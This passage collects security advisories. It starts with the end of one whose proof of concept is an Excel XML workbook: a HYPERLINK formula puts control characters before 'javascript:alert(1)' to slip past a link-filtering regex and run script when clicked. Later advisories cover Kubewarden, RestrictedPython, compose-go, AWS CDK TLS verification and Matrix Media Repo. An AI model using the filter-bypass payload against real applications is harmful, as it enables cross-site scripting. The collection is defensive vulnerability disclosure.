 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel">
  <WindowHeight>11020</WindowHeight>
  <WindowWidth>19420</WindowWidth>
  <WindowTopX>32767</WindowTopX>
  <WindowTopY>32767</WindowTopY>
  <ProtectStructure>False</ProtectStructure>
  <ProtectWindows>False</ProtectWindows>
 </ExcelWorkbook>
 <Styles>
  <Style ss:ID="Default" ss:Name="Normal">
   <Alignment ss:Vertical="Bottom"/>
   <Borders/>
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/>
   <Interior/>
   <NumberFormat/>
   <Protection/>
  </Style>
  <Style ss:ID="s16">
   <NumberFormat ss:Format="General Date"/>
  </Style>
 </Styles>
 <Worksheet ss:Name="Лист1">
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1"
   x:FullRows="1" ss:DefaultRowHeight="14.5">
   <Column ss:AutoFitWidth="0" ss:Width="194"/>
   <Row>
     <Cell ss:Formula="=HYPERLINK (CHAR(20) & "j" & CHAR(13) & "avascript:alert(1)")"><Data ss:Type="String"></Data></Cell>
   </Row>
  </Table>
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel">
   <PageSetup>
    <Header x:Margin="0.3"/>
    <Footer x:Margin="0.3"/>
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/>
   </PageSetup>
   <Selected/>
   <TopRowVisible>1</TopRowVisible>
   <Panes>
    <Pane>
     <Number>3</Number>
     <ActiveRow>6</ActiveRow>
    </Pane>
   </Panes>
   <ProtectObjects>False</ProtectObjects>
   <ProtectScenarios>False</ProtectScenarios>
  </WorksheetOptions>
 </Worksheet>
</Workbook>
```

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

*Figure 4. Generating a link bypassing a regular expression*
![fig4](https://github.com/user-attachments/assets/9bd2299d-9045-4cab-b3a5-cbcaf3bbe23c)

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

*Figure 5. Response from the server with a special character*
![fig5](https://github.com/user-attachments/assets/3fecbd9b-b08e-4797-9f5d-06911f857059)

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

*Figure 6. Executing JavaScript code*
<img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" />
_____________________________________________

## Credit

Igor Sak-Sakovskiy (Positive Technologies)


KubeWarden's AdmissionPolicy and AdmissionPolicyGroup policies can be used to alter PolicyReport resources

[Severity: MEDIUM]

### Impact

By design, AdmissionPolicy and AdmissionPolicyGroup can evaluate only namespaced resources. The resources to be evaluated are determined by the rules provided by the user when defining the policy.
There might be Kubernetes namespaced resources that should not be validated by AdmissionPolicy and by the AdmissionPolicyGroup policies because of their sensitive nature.
For example, PolicyReport are namespaced resources that contain the list of non compliant objects found inside of a namespace. See [this section](https://docs.kubewarden.io/explanations/audit-scanner/policy-reports) of Kubewarden’s documentation for more details about PolicyReport resources.
An attacker can use either an AdmissionPolicy or an AdmissionPolicyGroup to prevent the creation and update of PolicyReport objects to hide non-compliant resources.
Moreover, the same attacker might use a mutating AdmissionPolicy to alter the contents of the PolicyReport created inside of the namespace.

### Patches

Starting from the 1.21.0 release, the validation rules applied to AdmissionPolicy and AdmissionPolicyGroup have been tightened to prevent them from validating sensitive types of namespaced resources.
The new validation will also restrict the usage of wildcards when defining apiGroups and resources rules for AdmissionPolicy and AdmissionPolicyGroup objects.

### Workarounds

On clusters running Kubewarden < 1.21.0, the following Kubewarden policy can be applied to prevent the creation of AdmissionPolicy and AdmissionPolicyGroup resources that interact with PolicyReport resources:

```yaml
apiVersion: policies.kubewarden.io/v1
kind: ClusterAdmissionPolicy
metadata:
  name: "deny-interaction-with-policyreport"
spec:
  module: registry://ghcr.io/kubewarden/policies/cel-policy:latest
  settings:
    variables:
      - name: hasWildcardInsideOfApiGroup
        expression: "object.spec.rules.exists(r, r.apiGroups.exists(ag, ag == '*'))"
      - name: hasWildcardInsideOfResources
        expression: "object.spec.rules.exists(r, r.resources.exists(ag, ag == '*' || ag == '*/*' || ag == 'policyreports/*'))"
      - name: dealsWithPolicyReportApiGroup
        expression: "object.spec.rules.exists(r, r.apiGroups.exists(ag, ag == 'wgpolicyk8s.io'))"
      - name: dealsWithPolicyReportResource
        expression: "object.spec.rules.exists(r, r.resources.exists(ag, ag == 'policyreports' || ag == 'policyreports/'))"
      - name: isPendingDeletion
        expression: "has(object.metadata.deletionTimestamp)"
    validations:
      - expression: |
          !( variables.hasWildcardInsideOfApiGroup ||
             variables.hasWildcardInsideOfResources ||
             variables.dealsWithPolicyReportResource ||
             variables.dealsWithPolicyReportApiGroup
          ) || variables.isPendingDeletion
        message: "cannot target PolicyReport resources or use wildcards in apiGroups or resources"
  rules:
    - apiGroups: ["policies.kubewarden.io"]
      apiVersions: ["v1"]
      operations: ["CREATE", "UPDATE"]
      resources: ["admissionpolicies", "admissionpolicygroups"]
  mutating: false
  backgroundAudit: true
```

### For more information

If you have any questions or comments about this advisory you can contact the Kubewarden team using the procedures described under the “[security disclosure](https://docs.kubewarden.io/disclosure)“ guidelines of the Kubewarden project.


try/except* clauses could allow bypass RestrictedPython via type confusion bug in the CPython interpreter

[Severity: HIGH]

### Impact
Via a type confusion bug in the CPython interpreter when using `try/except*` RestrictedPython could be bypassed.

We believe this should be fixed upstream in Python itself until that we remove support for `try/except*` from RestrictedPython.
(It has been fixed for some Python versions.)

### Patches
Patched in version 8.0 by removing support for `try/except*` clauses

### Workarounds
There is no workaround.

### References
none


Excessive Platform Resource Consumption within a Loop when unmarshalling Compose file having recursive loop

[Severity: MEDIUM]

### Impact
The `compose-go` library component in versions `v2.10-v2.4.0` allows an authorized user who sends malicious YAML payloads to cause the `compose-go` to consume excessive amount of Memory and CPU cycles while parsing YAML, such as used by Docker Compose from versions ` v2.27.0` to `v2.29.7` included

### Patches
compose-go `v2.24.1` fixed the issue

### Workarounds
There isn't any known workaround.

### References
* https://github.com/docker/compose/issues/12235
* https://github.com/compose-spec/compose-go/pull/703

* https://github.com/compose-spec/compose-go/pull/618
* https://github.com/docker/compose/commit/d239f0f3187a2ed5404c61f83bd5e995c81600ff#diff-33ef32bf6c23acb95f5902d7097b7a1d5128ca061167ec0716715b0b9eeaa5f6R10


AWS Cloud Development Kit (AWS CDK) IAM OIDC custom resource allows connection to unauthorized OIDC provider

[Severity: LOW]

### Impact
Users who use IAM OIDC custom resource provider package will download CA Thumbprints as part of the custom resource workflow, https://github.com/aws/aws-cdk/blob/d16482fc8a4a3e1f62751f481b770c09034df7d2/packages/%40aws-cdk/custom-resource-handlers/lib/aws-iam/oidc-handler/external.ts#L34.

However, the current `tls.connect` method will always set `rejectUnauthorized: false` which is a potential security concern. CDK should follow the best practice and set `rejectUnauthorized: true`. However, this could be a breaking change for existing CDK applications and we should fix this with a feature flag.

Note that this is marked as low severity Security advisory because the issuer url is provided by CDK users who define the CDK application. If they insist on connecting to a unauthorized OIDC provider, CDK should not disallow this. Additionally, the code block is run in a Lambda environment which mitigate the MITM attack.

As a best practice, CDK should still fix this issue under a feature flag to avoid regression.

```
packages/@aws-cdk/custom-resource-handlers/lib/aws-iam/oidc-handler/external.ts
❯❱ problem-based-packs.insecure-transport.js-node.bypass-tls-verification.bypass-tls-verification
Checks for setting the environment variable NODE_TLS_REJECT_UNAUTHORIZED to 0, which disables TLS
verification. This should only be used for debugging purposes. Setting the option rejectUnauthorized
to false bypasses verification against the list of trusted CAs, which also leads to insecure
transport.
```

### Patches
The patch is in progress. To mitigate, upgrade to CDK v2.177.0 (Expected release date 2025-02-22).
Once upgraded, please make sure the feature flag '@aws-cdk/aws-iam:oidcRejectUnauthorizedConnections' is set to true in `cdk.context.json` or `cdk.json`. More details on feature flag setting is [here](https://docs.aws.amazon.com/cdk/v2/guide/featureflags.html).

### Workarounds
N/A

### References
https://github.com/aws/aws-cdk/issues/32920


Matrix Media Repo (MMR) allows untrusted file formats can be thumbnailed, invoking potentially further untrusted decoders

[Severity: MEDIUM]

### Impact

If SVG or JPEGXL thumbnailers are enabled (they are disabled by default), a user may upload a file which claims to be either of these types and request a thumbnail to invoke a different decoder in ImageMagick. In some ImageMagick installations, this includes the capability to run Ghostscript to decode the image/file.

If MP4 thumbnailers are enabled (also disabled by default), the same issue as above may occur with the ffmpeg installation instead.

MMR uses a number of other decoders for all other file types when preparing thumbnails. Theoretical issues are possible with these decoders, however in testing they were not possible to exploit.

### Patches

This is fixed in [MMR v1.3.8](https://github.com/t2bot/matrix-media-repo/releases/tag/v1.3.8). MMR now inspects the mimetype of media prior to thumbnailing, and picks a thumbnailer based on those results instead of relying on user-supplied values. This may lead to fewer thumbnails when obscure file shapes are used. This also helps narrow scope of theoretical issues with all decoders MMR uses for thumbnails.

### Workarounds

Disabling the SVG, JPEGXL, and MP4 thumbnail types in the MMR config prevents the decoders from being invoked. Further disabling uncommon file types on the server is recommended to limit risk surface.

Containers and other similar technologies may also be used to limit the impact of vulnerabilities in external decoders, like ImageMagick and ffmpeg.

Some installations of ImageMagick may disable "unsafe" file types, like PDFs, already. This option can be replicated to other environments as needed. ffmpeg may be compiled with limited decoders/codecs. The Docker image for MMR disables PDFs and similar formats by default.

### References

A similar issue was discovered in Synapse: https://github.com/element-hq/synapse/security/advisories/GHSA-vp6v-whfm-rv3g


matrix-media-repo (MMR) allows denial of service/high operating costs through unauthenticated downloads

[Severity: MEDIUM]

### Impact

MMR before version 1.3.5 is vulnerable to unbounded disk consumption, where an unauthenticated adversary can induce it to download and cache large amounts of remote media files.

MMR's typical operating environment uses S3-like storage as a backend, with file-backed store as an alternative option. Instances using a file-backed store or those which self-host an S3 storage system are therefore vulnerable to a disk fill attack. Once the disk is full, authenticated users will be unable to upload new media, resulting in denial of service.

For instances configured to use a cloud-based S3 storage option, this could result in high service fees instead of a denial of service.

### Patches

MMR 1.3.5 introduces a new default-on "leaky bucket" rate limit to reduce the amount of data a user can request at a time. This does not fully address the issue, but does limit an unauthenticated user's ability to request large amounts of data.

Operators should note that the leaky bucket implementation introduced in MMR 1.3.5 requires the IP address associated with the request to be forwarded, to avoid mistakenly applying the rate limit to the reverse proxy instead. To avoid this issue, the reverse proxy should populate the `X-Forwarded-For` header when sending the request to MMR.

### Workarounds

Operators may wish to lower the maximum file size they allow and implement harsh rate limits, though this can still lead to a large amount of data to be downloaded.

### References

https://en.wikipedia.org/wiki/Leaky_bucket#As_a_meter


matrix-media-repo (MMR) allows unauthenticated writes to the media repository, which may allow planting of problematic content

[Severity: MEDIUM]

### Impact

MMR before version 1.3.5 allows, by design, unauthenticated remote participants to trigger a download and caching of remote media from a remote homeserver to the local media repository. Such content then also becomes available for download from the local homeserver in an unauthenticated way. The implication is that unauthenticated remote adversaries can use this functionality to plant problematic content into the media repository.

### Patches

MMR 1.3.5 introduces a partial mitigation in the form of new endpoints which require authentication for media downloads. The unauthenticated endpoints will be frozen in a future release, closing the attack vector.

### Workarounds

Though extremely limited, server operators can use more strict rate limits based on IP address.

### References

https://github.com/matrix-org/matrix-spec-proposals/pull/3916